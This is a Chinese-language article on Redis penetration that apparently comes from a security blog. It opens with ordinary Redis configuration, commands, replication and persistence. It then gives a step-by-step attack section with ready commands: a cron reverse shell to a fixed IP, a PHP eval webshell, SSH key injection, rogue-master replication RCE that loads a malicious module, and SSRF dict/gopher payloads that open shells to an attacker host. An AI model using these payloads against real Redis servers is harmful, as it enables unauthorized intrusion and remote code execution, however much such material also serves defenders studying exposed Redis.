本文探究Redis渗透思路及方法...
本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…
0x01 Redis基础 1. 简介 REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。Redis 通常被称为数据结构服务器,因为值(value)可以是字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。
2. 配置 配置修改
可以通过修改 redis.conf 文件或使用 CONFIG SET 命令来修改配置。
语法 CONFIG SET 命令基本语法:
1 redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE
redis.conf 配置项说明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 1) daemonize no # Redis 默认不是以守护进程的方式运行,可以通过该配置项修改,使用 yes 启用守护进程 2) pidfile /var/run/redis.pid # 当 Redis 以守护进程方式运行时,Redis 默认会把 pid 写入 /var/run/redis.pid 文件,可以通过 pidfile 指定 3) port 6379 # 指定 Redis 监听端口,默认端口为 6379 4) bind 127.0.0.1 # 绑定的主机地址,允许远程登录需注释此行 5) timeout 300 # 当客户端闲置多长秒后关闭连接,如果指定为 0 ,表示关闭该功能 6) loglevel notice # 指定日志记录级别,Redis 总共支持四个级别:debug、verbose、notice、warning,默认为 notice 7) logfile stdout # 日志记录方式,默认为标准输出,如果配置 Redis 为守护进程方式运行,而这里又配置为日志记录方式为标准输出,则日志将会发送给 /dev/null 8) databases 16 # 设置数据库的数量,默认数据库为0,可以使用SELECT 命令在连接上指定数据库id 9) save <seconds> <changes> # 指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合 Redis 默认配置文件中提供了三个条件: save 900 1 save 300 10 save 60 10000 分别表示 900 秒(15 分钟)内有 1 个更改,300 秒(5 分钟)内有 10 个更改以及 60 秒内有 10000 个更改。 10) rdbcompression yes # 指定存储至本地数据库时是否压缩数据,默认为 yes,Redis 采用 LZF 压缩,如果为了节省 CPU 时间,可以关闭该选项,但会导致数据库文件变的巨大 11) dbfilename dump.rdb # 指定本地数据库文件名,默认值为 dump.rdb 12) dir ./ # 指定本地数据库存放目录 13) slaveof <masterip> <masterport> # 设置当本机为 slave 服务时,设置 master 服务的 IP 地址及端口,在 Redis 启动时,它会自动从 master 进行数据同步 14) masterauth <master-password> # 当 master 服务设置了密码保护时,slave 服务连接 master 的密码 15) requirepass foobared # 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH <password> 命令提供密码,默认关闭 16) maxclients 128 # 设置同一时间最大客户端连接数,默认无限制,Redis 可以同时打开的客户端连接数为 Redis 进程可以打开的最大文件描述符数,如果设置 maxclients 0,表示不作限制。当客户端连接数到达限制时,Redis 会关闭新的连接并向客户端返回 max number of clients reached 错误信息 17) maxmemory <bytes> # 指定 Redis 最大内存限制,Redis 在启动时会把数据加载到内存中,达到最大内存后,Redis 会先尝试清除已到期或即将到期的 Key,当此方法处理后,仍然到达最大内存设置,将无法再进行写入操作,但仍然可以进行读取操作。Redis 新的 vm 机制,会把 Key 存放内存,Value 会存放在 swap 区 18) appendonly no # 指定是否在每次更新操作后进行日志记录,Redis 在默认情况下是异步的把数据写入磁盘,如果不开启,可能会在断电时导致一段时间内的数据丢失。因为 redis 本身同步数据文件是按上面 save 条件来同步的,所以有的数据会在一段时间内只存在于内存中。默认为 no 19) appendfilename appendonly.aof # 指定更新日志文件名,默认为 appendonly.aof 20) appendfsync everysec # 指定更新日志条件,共有 3 个可选值: no:表示等操作系统进行数据缓存同步到磁盘(快) always:表示每次更新操作后手动调用 fsync() 将数据写到磁盘(慢,安全) everysec:表示每秒同步一次(折中,默认值) 21) vm-enabled no # 指定是否启用虚拟内存机制,默认值为 no,简单的介绍一下,VM 机制将数据分页存放,由 Redis 将访问量较少的页即冷数据 swap 到磁盘上,访问多的页面由磁盘自动换出到内存中 22) vm-swap-file /tmp/redis.swap # 虚拟内存文件路径,默认值为 /tmp/redis.swap,不可多个 Redis 实例共享 23) vm-max-memory 0 # 将所有大于 vm-max-memory 的数据存入虚拟内存,无论 vm-max-memory 设置多小,所有索引数据都是内存存储的(Redis 的索引数据 就是 keys),也就是说,当 vm-max-memory 设置为 0 的时候,其实是所有 value 都存在于磁盘。默认值为 0 24) vm-page-size 32 # Redis swap 文件分成了很多的 page,一个对象可以保存在多个 page 上面,但一个 page 上不能被多个对象共享,vm-page-size 是要根据存储的 数据大小来设定的,如果存储很多小对象,page 大小最好设置为 32 或者 64bytes;如果存储很大大对象,则可以使用更大的 page,如果不确定,就使用默认值 25) vm-pages 134217728 # 设置 swap 文件中的 page 数量,由于页表(一种表示页面空闲或使用的 bitmap)是在放在内存中的,,在磁盘上每 8 个 pages 将消耗 1byte 的内存。 26) vm-max-threads 4 # 设置访问swap文件的线程数,最好不要超过机器的核数,如果设置为0,那么所有对swap文件的操作都是串行的,可能会造成比较长时间的延迟。默认值为4 27) glueoutputbuf yes # 设置在向客户端应答时,是否把较小的包合并为一个包发送,默认为开启 28) hash-max-zipmap-entries 64 / hash-max-zipmap-value 512 # 指定在超过一定的数量或者最大的元素超过某一临界值时,采用一种特殊的哈希算法 29) activerehashing yes # 指定是否激活重置哈希,默认为开启) 30) include /path/to/local.conf # 指定包含其它的配置文件,可以在同一主机上多个Redis实例之间使用同一份配置文件,而同时各个实例又拥有自己的特定配置文件
3. 数据类型 Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 1) String(字符串) string 是 redis 最基本的类型,一个 key 对应一个 value,redis 的 string 可以包含任何数据,比如jpg图片或者序列化的对象,string 类型的值最大能存储 512MB 命令:SET key value #设置键值 GET key #查看键值 2) Hash(哈希) Redis hash 是一个键值(key=>value)对集合,是一个 string 类型的 field 和 value 的映射表,hash 适合用于存储对象,每个 hash 可以存储 232 -1 键值对(40多亿) 命令:HMSET name field1 value1 field2 value2 ... # 设置了N个 field=>value 对 HGET name field1 # 获取对应 field 对应的 value 3)List(列表) Redis 列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边),列表最多可存储 232 - 1 元素 命令:lpush name item1 # 添加元素 lrange name 0 10 # 查看指定范围元素 lrange name 0 -1 # 查看所有元素 4) Set(集合) Redis 的 Set 是 string 类型的无序集合。集合是通过哈希表实现的,所以添加,删除,查找的复杂度都是 O(1) 命令:sadd key member # 添加一个 string 元素到 key 对应的 set 集合中,成功返回 1,如果元素已经在集合中返回 0 smembers key # 查看集合 5) zset(sorted set:有序集合) Redis zset 和 set 一样也是string类型元素的集合,且不允许重复的成员。不同的是每个元素都会关联一个double类型的分数。redis正是通过分数来为集合中的成员进行从小到大的排序 命令:zadd key score member # 添加元素到集合,元素在集合中存在则更新对应score ZRANGEBYSCORE key 0 1000 # 查看zset
4. 常用命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 1) 连接命令 redis-cli -h ip -p port -a passwd # 远程连接 PING # 查看服务是否运行,运行则返回PONG QUIT # 关闭当前连接 SELECT index # 切换到指定的数据库 2) 键值操作 SET key value # 设置键 key 的值 GET key # 获取键 key 的内容 TYPE key # 返回 key 所储存的值的类型 RANDOMKEY # 从当前数据库中随机返回一个 key DEL key # 用于在 key 存在时删除 key RENAME key newkey # 修改 key 的名称 KEYS * # 列出当前数据库中所有的键,生产环境禁用 GET anotherkey # 获取一个不存在的键的值 3) 服务器相关 INFO # 获取 redis 服务器的统计信息 CLIENT LIST # 获取连接到服务器的客户端连接列表 CLIENT GETNAME # 获取连接的名称 CLIENT KILL [ip:port] [ID client-id] # 关闭客户端连接 CLIENT SETNAME connection-name # 设置当前连接的名称 COMMAND # 获取 Redis 命令详情数组 COMMAND COUNT # 获取 Redis 命令总数 COMMAND GETKEYS # 获取给定命令的所有键 TIME # 返回当前服务器时间 CONFIG GET parameter # 获取指定配置参数的值 CONFIG SET protected-mode no # 关闭安全模式 CONFIG SET dir /root/redis # 设置保存目录 CONFIG SET dbfilename redis.rdb # 设置保存文件名 CONFIG GET dir # 查看保存目录 CONFIG GET dbfilename # 查看保存文件名 DBSIZE # 返回当前数据库的 key 的数量 FLUSHALL # 删除所有数据库的所有key FLUSHDB # 删除当前数据库的所有key LASTSAVE # 返回最近一次 Redis 成功将数据保存到磁盘上的时间,以 UNIX 时间戳格式表示 MONITOR # 实时打印出 Redis 服务器接收到的命令,调试用 ROLE # 返回主从实例所属的角色 SAVE # 同步保存数据到硬盘,创建当前数据库的备份 SLAVEOF host port # 将当前服务器转变为指定服务器的从属服务器(slave server) 4) 密码设置验证 127.0.0.1:6379> CONFIG get requirepass # 查看是否设置了密码验证,默认情况下 requirepass 参数为空 127.0.0.1:6379> CONFIG set requirepass "password" # 设置密码 127.0.0.1:6379> AUTH password # 连接 redis 密码验证 5) 性能测试 命令格式:redis-benchmark [option] [option value] 1 -h 指定服务器主机名,默认127.0.0.1 2 -p 指定服务器端口.默认6379 3 -s 指定服务器socket 4 -c 指定并发连接数,默认50 5 -n 指定请求数,默认10000 6 -d 以字节的形式指定 SET/GET 值的数据大小,默认为2 7 -k 1=keep alive 0=reconnect,默认为1 8 -r SET/GET/INCR 使用随机 key, SADD 使用随机值 9 -P 通过管道传输 <numreq> 请求,默认为1 10 -q 强制退出 redis,仅显示 query/sec 值 11 --csv 以 CSV 格式输出 12 -l 生成循环,永久执行测试 13 -t 仅运行以逗号分隔的测试命令列表。 14 -I Idle 模式,仅打开 N 个 idle 连接并等待。 eg: redis-benchmark -h 127.0.0.1 -p 6379 -t set,lpush -n 10000 -q
5. 启动方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 1) 指定配置文件直接启动:进入redis根目录,执行如下命令,可设置为各类用户启动 ./redis-server /etc/redis/redis.conf & 3) 开机自启动 启动脚本 redis_init_script 位于位于Redis的 /utils/ 目录下 # 将启动脚本复制到/etc/init.d目录下 cp redis_init_script /etc/init.d/redisd # 设置为开机自启动服务器 chkconfig redisd on #打开服务 service redisd start #关闭服务 service redisd stop
6. 主从复制 a. 基本原理 数据库复制指的是发生在不同数据库实例之间,单向的信息传播的行为,通常由被复制方和复制方组成,被复制方和复制方之间建立网络连接,复制方式通常为被复制方主动将数据发送到复制方,复制方接收到数据存储在当前实例,最终目的是为了保证双方的数据一致、同步
通过配置多个Redis实例独立运行、定向复制,形成Redis集群,master负责写、slave负责读。
b. 复制过程
1 2 3 4 5 1) slave向master发送sync命令。 2) master开启子进程来讲dataset写入rdb文件,同时将子进程完成之前接收到的写命令缓存起来。 3) 子进程写完,父进程得知,开始将RDB文件发送给slave。 4) master发送完RDB文件,将缓存的命令也发给slave。 5) master增量的把写命令发给slave
c. 配置方式 slave启动时指定master机器
假设有四台redis实例,M1,R1、R2、R3,其中M1为master,R1、R2、R3分别为三台slave redis实例。在M1启动如下:
1 ./redis-server ../redis8000.conf --port 8000
下面分别为R1、R2、R3的启动命令:
1 2 3 ./redis-server ../redis8001.conf --port 8001 --slaveof 127.0.0.1 8000 ./redis-server ../redis8002.conf --port 8002 --slaveof 127.0.0.1 8000 ./redis-server ../redis8003.conf --port 8003 --slaveof 127.0.0.1 8000
成功的启动了四台Redis实例,master实例的服务端口为8000,R1、R2、R3的服务端口分别为8001、8002、8003
slave运行时指定master机器
1 2 3 4 5 6 7 8 9 10 1) 启动一台master ./redis-server --port 8000 2) 配置slave实例 ./redis-server --port 8001 ./redis-cli -p 8001 127.0.0.1:8001> slaveof 127.0.0.1 8000
7. 持久化机制 a. 背景原理 Redis是内存数据库,数据都是存储在内存中,为了避免进程退出导致数据的永久丢失,需要定期将Redis中的数据以某种形式(数据或命令)从内存保存到硬盘;当下次Redis重启时,利用持久化文件实现数据恢复
Redis持久化分为RDB持久化和AOF持久化:前者将当前数据保存到硬盘,后者则是将每次执行的写命令保存到硬盘(类似于MySQL的binlog);由于AOF持久化的实时性更好,即当进程意外退出时丢失的数据更少,因此AOF是目前主流的持久化方式
b. RDB持久化 RDB持久化是将当前进程中的数据生成快照保存到硬盘(因此也称作快照持久化),保存的文件后缀是rdb;当Redis重新启动时,可以读取快照文件恢复数据
RDB文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 1) 配置方式 RDB文件是经过压缩的二进制文件,RDB文件的存储路径既可以在启动前配置,也可以通过命令动态设定。 文件配置:dir配置指定目录,dbfilename指定文件名。默认是Redis根目录下的dump.rdb文件是经过压缩的二进制文件 动态设定命令:config set dir {newdir}和config set dbfilename {newFileName} 2)配置项 save m n:bgsave自动触发的条件;如果没有save m n配置,相当于自动的RDB持久化关闭 stop-writes-on-bgsave-error yes:当bgsave出现错误时,Redis是否停止执行写命令 rdbcompression yes:是否开启RDB文件压缩 rdbchecksum yes:是否开启RDB文件的校验 dbfilename dump.rdb:RDB文件名 dir ./:RDB文件和AOF文件所在目录 3) 加载原理 RDB文件的载入工作是在服务器启动时自动执行的,并没有专门的命令。但是由于AOF的优先级更高,因此当AOF开启时,Redis会优先载入AOF文件来恢复数据;只有当AOF关闭时,才会在Redis服务器启动时检测RDB文件,并自动载入。服务器载入RDB文件期间处于阻塞状态,直到载入完成为止
手动触发
可用save命令和bgsave命令来生成RDB文件
1 2 127.0.0.1:6379> save 127.0.0.1:6379> bgsave
save命令会阻塞Redis服务器进程,直到RDB文件创建完毕为止,在Redis服务器阻塞期间,服务器不能处理任何命令请求,而bgsave命令会创建一个子进程,由子进程来负责创建RDB文件,父进程(即Redis主进程)则继续处理请求
bgsave命令执行过程中,只有fork子进程时会阻塞服务器,而对于save命令,整个过程都会阻塞服务器,线上环境要杜绝save的使用,在自动触发RDB持久化时,Redis也会选择bgsave而不是save来进行持久化
自动触发
1 save m n # 自动触发最常见的情况是在配置文件(redis.conf)中通过save m n,指定当m秒内发生n次变化时,会触发bgsave
Redis的save m n,是通过serverCron函数、dirty计数器、和lastsave时间戳来实现的
serverCron是Redis服务器的周期性操作函数,默认每隔100ms执行一次;该函数对服务器的状态进行维护,其中一项工作就是检查 save m n 配置的条件是否满足,如果满足就执行bgsave。
dirty计数器是Redis服务器维持的一个状态,记录了上一次执行bgsave/save命令后,服务器状态进行了多少次修改(包括增删改);而当save/bgsave执行完成后,会将dirty重新置为0。
c. AOF持久化 RDB持久化是将进程数据写入文件,而AOF持久化(即Append Only File持久化),则是将Redis执行的每次写命令记录到单独的日志文件中(有点像MySQL的binlog);当Redis重启时再次执行AOF文件中的命令来恢复数据
开启AOF
Redis服务器默认开启RDB,关闭AOF;要开启AOF,需要在配置文件中配置:
执行流程
1 2 3 4 5 由于需要记录Redis的每条写命令,因此AOF不需要触发,AOF的执行流程包括: 1) 命令追加(append):将Redis的写命令追加到缓冲区aof_buf; 2) 文件写入(write)和文件同步(sync):根据不同的同步策略将aof_buf中的内容同步到硬盘; 3) 文件重写(rewrite):定期重写AOF文件,达到压缩的目的
常用配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 appendonly no:是否开启AOF appendfilename "appendonly.aof":AOF文件名 dir ./:RDB文件和AOF文件所在目录 appendfsync everysec:fsync持久化策略 no-appendfsync-on-rewrite no:AOF重写期间是否禁止fsync auto-aof-rewrite-percentage 100:文件重写触发条件之一 auto-aof-rewrite-min-size 64mb:文件重写触发提交之一 aof-load-truncated yes:如果AOF文件结尾损坏,Redis启动时是否仍载入AOF文件
0x02 攻击面 1. 写文件Getshell 当Redis暴露在公网,且以root方式启动,未配置访问认证时,可通过各类写文件方式getshell,如定时任务写入反弹shell、网站根目录写入webshell、写入SSH公钥,也可利用一切可利用文件,配置各类后门;此类方式适用于物理机/虚拟机等存在多种可利用文件的环境
a. 定时任务 条件
1 2 1) root启用Redis 2) redis无密码或者弱密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 config get dir # 查看当前数据存储目录 config get dbfilename # 查看当前数据存放文件 config set dir /var/spool/cron # 设置文件写入目录 # config set dir /etc/cron.d config set dbfilename root # 设置写入文件名 # config set dbfilename shell set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.15/9966 0>&1\n\n" # 新增键并赋值 # set shell "\n\n* * * * * root /bin/bash -i>&/dev/tcp/192.168.1.15/9966 0>&1\n\n" # /etc/cron.d 与 /etc/crontab save # 保存,完成文件写入 del shell config set dir /var/lib/redis # 设置回原来的目录 config set dbfilename dump.rdb # 设置回原来的文件名
b. webshell 通过config命令向固定路径的文件写入内容,利用此功能来向指定文件写入恶意内容
条件
1 2 3 1) 知道网站绝对路径,并且需要增删改查权限 2) root启动redis 3) redis弱密码或者无密码
1 2 3 4 5 6 7 8 9 10 11 12 config get dir # 查看当前数据存储目录 config get dbfilename # 查看当前数据存放文件 config set dir /usr/share/nginx/html # 设置文件写入目录,网站根目录 config set dbfilename shell.php # 设置写入文件名 # set info "\n\n<?php phpinfo();?>\n\n" set shell "\n\n\n<?php @eval($_POST['passw01d']);?>\n\n\n" # 创建shell键并值 save del info config set dir /var/lib/redis # 设置回原来的目录 config set dbfilename dump.rdb # 设置回原来的文件名
c. 写公钥 条件
1 2 1) Redis服务使用ROOT账号启动 2) 服务器开放了SSH服务,而且允许使用密钥登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1) 本机生成公钥 ssh-keygen -t rsa -C "[email protected] " -f ~/.ssh/test (echo -e "\n\n";cat test.pub;echo -e "\n\n") | redis-cli -h 192.168.1.100 -x set ssh_key 2) 连接redis写入公钥 config get dir # 查看当前数据存储目录 config get dbfilename # 查看当前数据存放文件 config set dir "/root/.ssh" config set dbfilename "authorized_keys" save del test config set dir /var/lib/redis # 设置回原来的目录 config set dbfilename dump.rdb # 设置回原来的文件名 3) ssh免密登录 ssh -i /root/.ssh/test [email protected]
2. 主从复制RCE 在容器场景下,单一的容器中不会有除redis以外的任何服务存在,当类似虚拟机上的crontab、ssh等失效时,只靠写文件很难再getshel,这种情况下,可利用redis主从复制的特性getshell
Redis主从复制的机制,可以通过FULLRESYNC将任意文件同步到从节点(slave),在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,在从节点上加载加载恶意的.so文件,达到代码执行的目的
手工利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 1) 构造恶意Redis服务器,监听本地端口2233,加载exp.so python RogueServer.py --lport 2233 --exp exp.so 2) 利用未授权访问连接需要攻击的redis服务器 config set dir ./ #设置redis的备份路径为当前目录 config set dbfilename exp.so #设置备份文件名为exp.so,默认为dump.rdb slaveof attack_host 1234 #设置主服务器IP和端口 module load ./exp.so #加载恶意模块 slaveof no one #切断主从,关闭复制功能 system.exec 'id' #执行系统命令 system.rev 127.0.0.1 6666 config set dbfilename dump.rdb #恢复默认配置 system.exec 'rm ./exp.so' #删除exp.so module unload system #卸载system模块的加载
自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 1) 生成恶意.so文件 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ && make 2) 攻击机执行 python redis-rce.py -r 目标ip -p 目标端口 -L 本地ip -f 恶意.so git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt python redis-rce.py -r 192.168.1.100 -p 6379 -L 192.168.1.101 -f module.so
3. SSRF组合利用 当Redis仅开放在内网,可利用其他已知的公网漏洞进行组合利用
利用dict协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #查看当前redis的相关配置 ssrf.php?url=dict://target_host:6379/info #设置备份文件名 ssrf.php?url=dict://target_host:6379/config:set:dbfilename:exp.so #连接恶意Redis服务器 ssrf.php?url=dict://target_host:6379/slaveof:attack_host:2233 #加载恶意模块 ssrf.php?url=dict://target_host:6379/module:load:./exp.so #切断主从复制 ssrf.php?url=dict://target_host:6379/slaveof:no:one #执行系统命令 ssrf.php?url=dict://target_host:6379/system.rev:attack_host:9999
利用gopher协议
1 2 3 4 5 #设置文件名,连接恶意Redis服务器 gopher://target_host:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520attack_host%25201234%250d%250aquit #加载exp.so,反弹shell gopher://target_host:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520attack_host%25209999%250d%250aquit
0xFF Reference